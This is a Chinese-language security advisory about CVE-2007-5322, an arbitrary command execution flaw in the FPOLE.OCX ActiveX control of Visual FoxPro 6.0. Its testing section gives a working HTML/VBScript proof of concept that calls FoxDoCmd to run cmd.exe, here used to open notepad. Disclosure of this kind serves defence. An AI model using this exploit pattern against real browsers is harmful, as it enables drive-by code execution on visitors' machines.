Microsoft Visual FoxPro FPOLE.OCX ActiveX控件任意命令执行漏

来源:岁月联盟 编辑:zhuzhu 时间:2010-02-13
Microsoft Visual FoxPro FPOLE.OCX ActiveX控件任意命令执行漏洞 发布日期:2007-10-09
更新日期:2007-10-26

受影响系统:
Microsoft Visual FoxPro 6.0
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 25977
CVE(CAN) ID: CVE-2007-5322

Visual FoxPro是微软发布的数据库开发工具。

Visual FoxPro的FPOLE.OCX ActiveX控件没有正确地验证对FoxDoCmd()方式的输入,如果用户受骗访问了恶意站点的话,就可能导致在浏览器会话中执行任意指令。

<*来源:shinnai (shinnai@autistici.org)
  
  链接:http://secunia.com/advisories/27165/
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有安全性,仅供安全研究与教学之用。使用者风险自负!

<object classid=’clsid:EF28418F-FFB2-11D0-861A-00A0C903A97F’ id=’test’></object>

<input language=VBScript onclick=tryMe() type=button value=’Click here to start the test’>

<script language=’vbscript’>
  Sub tryMe
   test.FoxDoCmd "RUN cmd.exe /c notepad.exe", "Something"
  End Sub
</script>

建议:
--------------------------------------------------------------------------------
厂商补丁:

Microsoft
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.microsoft.com/technet/security/